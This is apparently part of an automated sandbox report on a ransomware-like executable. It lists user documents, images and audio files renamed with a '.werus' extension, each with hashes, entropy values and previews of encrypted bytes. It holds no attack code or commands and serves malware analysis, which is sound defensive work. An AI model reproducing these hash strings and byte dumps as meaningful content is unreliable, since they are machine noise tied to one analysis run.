x.5+...K.p.........#.....&..sJ....OZ.g.z...$4.:.1J./G....,Z......?N.>E...........12$0.\..^......p..jR..{uH..$V-M.....\|v..PI..C....Hwk.o...4..)Y....9.;..;.r.......)....\.a7..Jg.....s..V...H..A...*B..l.ij^1.....G..d$..{..A#Q..vB..N.Jt...3..x.t....Q.?,.RB.qf...#.p......;..hW...

C:\Users\user\Documents\GRXZDKKVDB\GIGIYTFFYT.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.844326187672133
Encrypted:	false
SSDEEP:	24:N0WcPSPcnCIvN3Z0KAvcJxS8rDAogzWsq/6eG/O1A60wspYxrfV:WP8SN36XvYEoCWfqYA60VI
MD5:	2B794A3B87F1D2D9929712C391D7FF89
SHA1:	524F9C17EBBA80671A5DB7C26F01254CC48B245C
SHA-256:	3D324E968BB6605C81C234A3326B68D4226B742A88044EE28D8A9448DEDD195A
SHA-512:	77CB3BB39E49C59E583F33C4230E3B037E2B854F75CC9D7DA29E1999BB06B8A9FDB25D7CF05A15A8D21C2BE497407C6F09D7EEC9878D16A1C8B5E45C0AB14190
Malicious:	false
Preview:	....1!..j.Zi..<...q.=.J70.X.?a.... ~._..s.b.^....R)..0.fp.P;.Y..s...0ZR..b.k/.v...q..t......w..BB.H.3@mT..7.$....O....c^.`.>.N@Z..,.....w..i.{........I..@....k.H1.)1...0~.....jy5.......8..AE.T~......-..I$8.q..{ ..._...p_.P@7L.Nn.0q....P.%l...l.G.+.0.._NV..jz..f%].U.(.Q..Zv-.9.....f...x?.z.<W.}......;\|......e....>..^a...M...4!"....X..........(...Q$M......Y..../f.$...'.f...Ll...M..-L..F...../..Q6..V....@.V......$..l...?@...\.s...xa..@.4....+rQ..fE..V?....(....Hr..p.r,0(z.4..t.Tx...!J.......opS..vyf../..>(h.<O....Wj.....-..#...1.. d....zj#.e^...s}~S....L.s...n.....a..}w.)...b.0r.....t.a"O.. .UDs..8W....c..T...w....<...]C3...G..U.T.?.mjY.B..q.w..Ac.G..../.]...u..z..!u....x...])KM"!^...!....&..J..D... ...2+Q.C(...m..O!...}\..3.....ur.v.z,5vG\.o.qJ..@..!].o.>Z.$h..@..wo.L...~s.g(k....Xz....J>.....5H.$4......e...J<.s9..%0.P.....y..dw..@......SF...t.I........%@4$... .".b4.l.M...U=.f...kPYr.T.....k.Z>......O.u. ..!_c.......T...]1...2.

C:\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.809568908474834
Encrypted:	false
SSDEEP:	24:qhxkN4mozVeTty7bMLc7l0cYsL+DzY3LHKeq5:qhiN4moxqy3+ch0C+I3C
MD5:	8466B313D46E73041F55BCE03DCE16FE
SHA1:	A445FAE6BBD416AE38E637CF5AA8E75942947DE4
SHA-256:	438F9FFF21A589728EC5A82DFE462B4597AA662A416629E4CA70DC0D66E6A42F
SHA-512:	122D11A41A95FA95CBB8B5CABF49B4E9A06F103C7689B06FC2A320980A752D364B4E1AEF89B986329966A0899A8965E4828D3384DC87E4A562A64EEC9AC42F6C
Malicious:	false
Preview:	$x7........_<...Y&H5ys%.(....tzd.....c.p.........v.....Z...!My..;....P.?F...\|K.m.{.........m.97P.sc.5.......~...qb..B..B.......J...Hv....<..7........i){..9..\|..E.gD..t.1.d...%.@...g...Y.J%.....z.x6.a.%........&...=.Z...fG.0...[..R.O.x.ba~C.0.....?M}.^z....bi.17..k.L..C..Ys.<..;...~t....q].......#U..@...E..R`s9;._.9'....\~.g.k..2.Z#&Mi..!......}3h....6.....)...[j..U.....K....h[..l..\|..^.u....Ub..$..Xw.....O."6..y..Lic.{5._b....5W%0.A..UDo.R...4...B...z..\bL ....a.H.I.#.nMxwz.N.t.+^...Z`..A......3..\Y>.eo.....y.M.@R.PP.P.VbS.....8..H.T....'._....5._D.4<.;p(3.t..K. ........B..R...t.0`.0v..#..$.q.n..v..3...H.l)ph...KQs8......H....s.n..#.N..m6...3.wb/..z.GHFe-...J....%.......%.2.....6.......g...q...O'..f..3.kLb.&...[A......\|.R..9.....h..@6..3...z.<..g.........2....d.).%Pm.]n<h.....}`....p..6.........i+N.....=O....gfA.. TN....W...[.S...-....rG.._o..;.E..._.o....[..s.\|p....=.....zy...L.G.=.....]............$&K,.~]q;...?WC@...Y.....o..,.

C:\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Documents\GRXZDKKVDB\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Documents\NYMMPCEIMA.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807938069631537
Encrypted:	false
SSDEEP:	24:h//cumcylhk2NIM0YHC9Vng+I3C1gSx3RsHR:5UumVQ2Nj7HC9Vg81Hsx
MD5:	E14C0B8329D4A99EE0B6A9055C4175B5
SHA1:	BCF38583620B915FDE3ED6EDA2ADBEA0C3AC63CA
SHA-256:	6172CC42D84C8E6995CE919F3414BEBD39FA9AB8474B68E880E975B7FF074194
SHA-512:	C8315AC1E30C952FDBE7A81F863288C92FF74851FFF01F83109F36CEEB0B10D80AACBEB2F378BC0B49E5D12705E1AB07C0173814888FE6643B5264C6F750AD01
Malicious:	false
Preview:	....m...>..].@l."..:...r+....e@.1J=3..D.../l[... /C.\.......w...^.......@%.Y.-`.rX...=.......f..5..7....\|..\.'....-...2.d.a:.B.gv.I...s./...........h.s... O.}B.p/...(B..yd....)b.T-...ydC...{.}`zM...A.0...LL..l..<+.m0.c.....D...#.[ .\|>.........D.gJ..u}0o0..........z.d.b.(Q....;..M;.?S.'b........i.O.J.....^.....N.9.%..-5....aX..B.K.[e...(..{..zH.U.#.b....5..xn..'.......<'.y.<2.8=..&K...'.....HLLLG.....E.....7..K..!.33.m.g.0<...e.......m-.n..vV/..t8.8G...b.........q....P..=...D'..xRk~.=.~.\v..1..2.}gO..n.;E.t..Z/]..Y.....?...t.SA..\|...D.SB.N.iq...f]...bx..d....X.y..z..e...........~d...>...cx...6......]@../nDTJ.C.H.I.O..[YB..\|XT.ZA.y.Y..3..K..".=.....3>... _.,....(`.I^P3+...\|.gc<..~..zg........@w..8.q.......YZ.........?.V.SaL+h........\m..]=.....4....c......=..K..;....U..-...p...Y.yj..JFx....AJ.i1N..-.r_)...J.....>L._../.lw0..r..[2.>..h..-oQn........?.. .&q...h....U..a.@.......d...1.J`k..E...M.m.....K......G...Hx.@....B.%..Q^*.L.3-T}...@

C:\Users\user\Documents\PALRGUCVEH.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Documents\PALRGUCVEH.xlsx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.840208669079804
Encrypted:	false
SSDEEP:	24:KuPGlJl/s4OiqAER8SFP2nmJD+m6EUS5iY40OJ4+AJ8fwS:KuS/zOihO4oD+FEUS5iDK84S
MD5:	BE61D2C566E7CBC0C0286D1FB200BB6D
SHA1:	6F95B797824736D8FF6312531E8C62BD08F901C2
SHA-256:	B9EFCC9572840D287BD955DAC9C24B96A8C285FB2B9EB261F0A9DD5211C983D9
SHA-512:	B133A35C5046180AE5E5F0777FC687E70591F240A518AB63B04F25624C1201C9183B8957FF976F5D1560C0F18E02E56AAD7698450F6FF9075CE3589479EC474D
Malicious:	false
Preview:	.x..u.O9p..i.Q48,q...K....!+1...]Z,^=.w.0.^.>H.j.V..H.eE..}..c.`.m~.C.....B....k.5(.X./.i...+..Ni.SO.VQ...[."j.C._. a2....{...n.n.&..u.e...C2.k.T..=..#-.O..R...7..@.B...rC.....^...e$.W...(l.."..,..)h.).,+.o._...../.5..2Z.V.U.w/L...n......)f.%uz....}...Q..)]....=.S..,.`....M.[a..oX.....T$.q.....Z.tf8...?F..->...q.k...(...Z......UNZ.l...IDq.c.U..'e.}~..9l.uN.z#.....t..G{...P..e.....[..?g...Q..l....[9....c..a~......r....H.v...kc6.e..,?.... G0.x 3....w.#...h.._b.....8..A...d....r$...O.\|n+Fe.....Y6s..K[BH=....s!.;.D....Eub.d..\......y..c.z(.%J/(....U\c.{.a.L)b.J3..-.rcY.$..d.....(...]L2....wn..WT.J.n...0c.BY_.....&.8.H..q4._.2/=.d...m.nvfZ.4{....K.).8......p......%.t..Cc.....u...W....j"C....H.\..7....G...;.U......u....$..* ...;z.w.q.f..~n.......^.*.e..']..$;/........{.~..(..+k...,F.tX.7...f<$S.lDd.Q(=..P2.,wm.0.\|..}r}..w.}...v...l...-..c.?#......v..!W.=..NOs...g.5...I.8a.c\..}......./]H+.Z.. .r....9\..R...Py...@U..ZI@:......<.[.S..u..

C:\Users\user\Documents\TQDFJHPUIU.jpg.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Documents\TQDFJHPUIU.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.811017022250843
Encrypted:	false
SSDEEP:	24:jKBQmHFqSKY6CDZZYnZTg2+4YiPvHl+h1sRFbaIlDFBbWMLu0P:jKmOYEZYnRgZ4vYh1SFba8DFd
MD5:	6F5F7E717BBAD7C6ED813BCC37B2C01A
SHA1:	83C661847BC49F37597452A814D0CF6C9B4E37A7
SHA-256:	30494E4972ED13078A9AA1BDE97B5E391A7E17174A406E6C4D3FA85B767FA896
SHA-512:	C44D5A7912D5789625CF92B8555D01E38128D206ECC17B71015D2BD30981B07AA66B29A57E779B308A66AE1772E85FA5447398FA05553EDD43ECA9163850514D
Malicious:	false
Preview:	,..I.. ..?.6..]..{.}h..C8....D...+.V...x.Cx'.@..ZrH..a.b\o......~.....;.-f.Q(...2.....o..Q.....&.X.'..n.5...w.u.%.yqU.v../@.>....!Y..h....0....X.U.o...8xh../..E%...~.^.c./...S.mn~...>..o..(.].+..}=../P...ze-+..ab ..3&%..9$MU....!......t-q..5...s(...e..L...h/fB...\|.....w..'.f.....H....xJ.b....Gl6Ee...J.3...^......6or..j\|!...l...!.O. .g...R1..w..O.T.R....H.....j..0x.i...HZ...(.]....n...>.v..............{.g....g!.........@.SB1h....[.<7..#..D...u.ds9...N+.....3#.v.(....'.-7...U...Q}>9. 0......k.o.j..%.v..(i....Y.n.6......#a....%.m.`...G.e.D...@..9...{.2....t.6T...T.9...H....n.u.s.b....{:...kn).....{...?..g......wI.;...=..Cl<b.._=.S..z..%.K......})..;.Op.r{...[.7.._.(..{.L.k.....\|.T..IF.L.\|.T?uZ,....L&...q.!>.N..H..V.g.>f..\|._.....K*..z.JL.t[.cfX]..E.Q.RY....yO.............ui.d.,(..v.`.....m.n].....$.V0.S.`.d.D.r#I....e.1s...j......Xy._..w.."...sc.Q.S.rT.)v9=..#..,....s.o..\a...q.[..R..,fag;..p,Cc$.v.....x.\|.:..i..J.D.....j..H.lEn..Q.pf."..X.u

C:\Users\user\Documents\desktop.ini.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	416
Entropy (8bit):	7.502102302359321
Encrypted:	false
SSDEEP:	12:TQ6r292DZFWXqm6v2itslUt2ymp+xXDMH/8FW:86C9eZFWa1v2SU3gxzMfcW
MD5:	8D3B7BCB7BDF540BBF6B4EC11DA72CE4
SHA1:	B5AA2E0BF2C73C9BFFE895B3DC643F0B8D55D8D3
SHA-256:	0D96D51413B852A2F264D753CE5703F2C25959E07E7749EBE86F0C49B89E136D
SHA-512:	216B5F5D9C734E92A09E68323C016EB4AFE51F696B0000222BB16B57F960876732CEE80C153B884B56440A6842FA6F843B99AA6497B2C96AAD6F3D81731701FE
Malicious:	false
Preview:	..,n]}3.....b?T..T.m>]Uw...3^.f(......{9.....HW.RY9...K.o.8..........C.A.sx'.F. .e{...DU...c...7.k.....r6bc....x.......==.:4.?.E...).B..X.c..2......yNw.../.....Pj...`......U........A]2rN.hv.o.@....R..~..A....]7t.V.R....n.....y}.'&......p.2.pnf..}..w...eG,W".............k.... ...4..: .X......r..@..s...a.......X.l....g...k.Y.\|qYl.m.iM. .......N .....wywD....S...Wp..vN.:/........b.5&>.g.N....)GO

C:\Users\user\Downloads\BJZFPPWAPT.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Downloads\BJZFPPWAPT.pdf.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.805307704800202
Encrypted:	false
SSDEEP:	24:QKBxBXKnn5fG79hRvsk3vbKBkkf7WShfnqQLIV0A3gRjYW:L/8nc79Z3vmBkkjWSfhEVR34Z
MD5:	316A251FEAAE514585F381852BA8EBA7
SHA1:	514877794A25855CDA874D17B383D0D698D1EE54
SHA-256:	E514C155F9755B9A3D8847DA7A679C0DB605A59F68D4754BCB7095381122B598
SHA-512:	FE2E7B1CFC4DCC6C725B89B248FF520EB159B681AAE236F91CA589C745A60E5978259B86349AC15E74C94953B47A0B7785048FCE733B2405BD0E13FA81001000
Malicious:	false
Preview:	i6QYE.f..Z......t..4...Q.2p..u.'-.Q.x.#s7S.)O`b....5.m.\....w.u..........n...$..A.....(S.U...^..._..4...i...........(2.].,1.w%K..6J.to4.....R0+.O.. U.....Y..`.y^05#....^......9..1ZY1...\...pS..!~.-Q.........)..~.....b.c.'+.....O"/...v%..$m.._^.....f..2t........\..i..(a.P.....d.Z96..c...R....'0>...h.N...SF....a.2...L..C.Ua...4....3R.R..h..._.."x..7.. .f0.Y..q..f..oh..P4I.m...m..f5........U...QW...RX...`/..S.P.2..xf^)T_./E....>m...I..O....dG.S\.0..H..L.t..W(.@....ZlE..b.iT...7NX....u.62(.3&4......f....\|.s1[..M\|.xw....A....u.`w.`....!.d%i....."....(.W.&*rEx.....'..$!1.V....l.p..)@....B.[.$.f......u.....1.t..to..>.9U.......sp."...O....%.]...I.D..a...5.G..2>...y.aa..c..[..&....f0...>.d>...h...]{.2{dk.`..L..S..rHgo.A..o....pk.<.fM?.)..H....;...9..#q..J...&.q.6.8.q.U...tJy...=......B.g..d.....w.h..Rd0..#..W....?..nF...K.D..........y.W....b._.NY.Xb.L.i.i..i..F.'d.`..9M..=..3..XX..ER'E..........\|.......].#.C...FzV. .-....h.....c..Y

C:\Users\user\Downloads\CZQKSDDMWR.mp3.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.79169412483687
Encrypted:	false
SSDEEP:	24:L9JSO3dbbpHiW5BTpFaTdsSwqTkbcuJ58kvyUU6pHV6KL0tGsc5VLc0K:LJ3dbbBiqBTpFa5sS0Fr8kqGVst8LnK
MD5:	A06C2FBEB411933D9DD1C963AA42413C
SHA1:	A2C80B66A1032BBCE249C0BD9D276685BDCCFFA1
SHA-256:	7CCF496F0B265D2804B6D35ED41074EEC42F1D556DF57081B64300B93AFD8270
SHA-512:	D13444D4B538E97A70966D973329A7407B14158441CF4D07FD9BD433232AAD290BE476AA1BD5751EEB36F36172378A0123CDDF154D0ECE7FF3D43EDEC84EF62D
Malicious:	false
Preview:	...5I...z...F[...~.V..'...5...t..1i.k..Q... ....L.kg!2..R{N..L..?#..i...A....+.v...7......^K<..V...B.da.@y...0..2...e....V..&......+?.%Fq..~......@.K......j.e.....m.<b..V....n.c.l.z..t..<.......d..Q_M`F..}.5Ckl.9.....$a..Uz..U.A[...L~J.A......`.....y.?...x.......22.$..k.^W[.o]a..mE1.b......P.....}[..s....Y0.z.....6.gm=.5...6..C .ZQ6u.kP..G.-...C.)055v.J..Pb.yS...o .....0..\...(...S...r.E......Lr.0c...b.a}3...L...#}...c..n1...j.....c..~u.@...h..+.(,..6.A.........\.6"R\|...Ie....9.......\.Nl..0...a...<...}fg$...Y.......VE(qa.+.^}.v{....nD..;.gv.s.I'.>.'..4..A{.\|.l...m....l)....1..4.]vcx...x.t...;....L~j.x9&.R>..x.\}1Y.....d.........)..@.uc............#.;.f..6...1...E..........%....}@K.&.B=..@.>T....\oR.i..7g.......mm..2.5..4..1.. .G>}8?....*f6.[._K...........I.l..=.~.(.>.nC....b[:..E.Jh..#....rSD+2Xd<...i.0S...9^.......5%.O.eE..O.!C.v1..P...Ii....qxyyN.6..o$J..V<n.c......W.=....pv...........}.s....J6{^...7'Ny..U]-.I....k.

C:\Users\user\Downloads\DUUDTUBZFW.png.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799290941677727
Encrypted:	false
SSDEEP:	24:SOQvZaV5IO5e/qgJ2DPxaxMT30UJIeaHtrhDw:SOms5IsgJmPxaOIhNw
MD5:	120AB6BFED01989093F2734686E84F9F
SHA1:	757F4BDE3BE9A873C4E5FF19045D06AE36064ECB
SHA-256:	9BE677DE00FF4F05D3A669715035F3AF023328AE9C3E7A02F537C2D218397593
SHA-512:	B04A3B7C0BE4B7EFE0479838A59D5B4B393E64B6D01BFC3D904B83CBF3E6F8F12A23B23E6547F0B703A4B1AFF2A6BC29B506B6C6A6571CE4839ABBFCA2955982
Malicious:	false
Preview:	.P..?...5.K..&y..7bz_SF....Me..:G.......]..;!..?...S.....?.....7.;i..E.R'....w.N....R........z..p.N..#................S.8..u......pr..@.U.L..".<...(....Y.SS..J<A.CA..A.&...YM.d...y.'E...G..\.D.o...@h....MM.c.X\{...{n'.8>f.....o...Y.....>...'.o.q9.K..HtN0!.bPcd.?C8.gr.13m%..O...2...Y^y..rL....f...8.. ...r........C$g.P.......c.^..+.f....m~...yK`.P..G._..bq..fSP......6...-..w..\x....Q...b.L.&;@........s.V...}.v..P...W..Y.B>........{.I...nr.k.v...o..c.....H..S..#H@.?..h"h:...C.f.bD..@.....s!..t-....{?.......O.Q...~.I.kt..D.e.69.....V...F.. eT..Y9.?.....M.=.<...7......].,>....O...\|mo.G..l^..[.a....a+.^.....R......)Z..l.......y.I...Z..w.;....X.(9...1..N.e..k....[xf\|.......t......P.x...w..w.N.......[?....F......]b...1z5.&..=.@.10.;....q..S....\|}a...S.o..sA..}..H.\.....sf..1..[.-5..RI...0K....v.k..!a......#.'0...<.....,$...^.n..gc...".-..C..~1..._.0.o...Kk..T..1.xU4.N...WyX...%.A.E-...~.K..d.zEw.;r`.).l..H.O..,..~.....S....m.....A

C:\Users\user\Downloads\EFOYFBOLXA.docx.werus

Download File

Process:	C:\Users\user\Desktop\aASfOObWpW.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.799624475284229
Encrypted:	false
SSDEEP:	24:Xz7+GlPkYmBJKGgzXITyKR6mpyEvNt49WxOb/ewceO:XWGXIh6xYI5ewceO
MD5:	B5B01B02FD9842BA8576AD743454FB0F
SHA1:	4613260115CF4CC4C38BBC5839437209AF600629
SHA-256:	0A64A3480B4A2AF1484CF62225025E62E906805C1D30273AFC565F2B69DEE41A
SHA-512:	F8AE1EC0FEB63D16F51571DE6CCF032C28E0340D2AA2E11F94E31A0177ED1A72CDF09E35C1B7A39F73EB0071277A65907CFD1B9F903120957BBF15252ECE3350
Malicious:	false
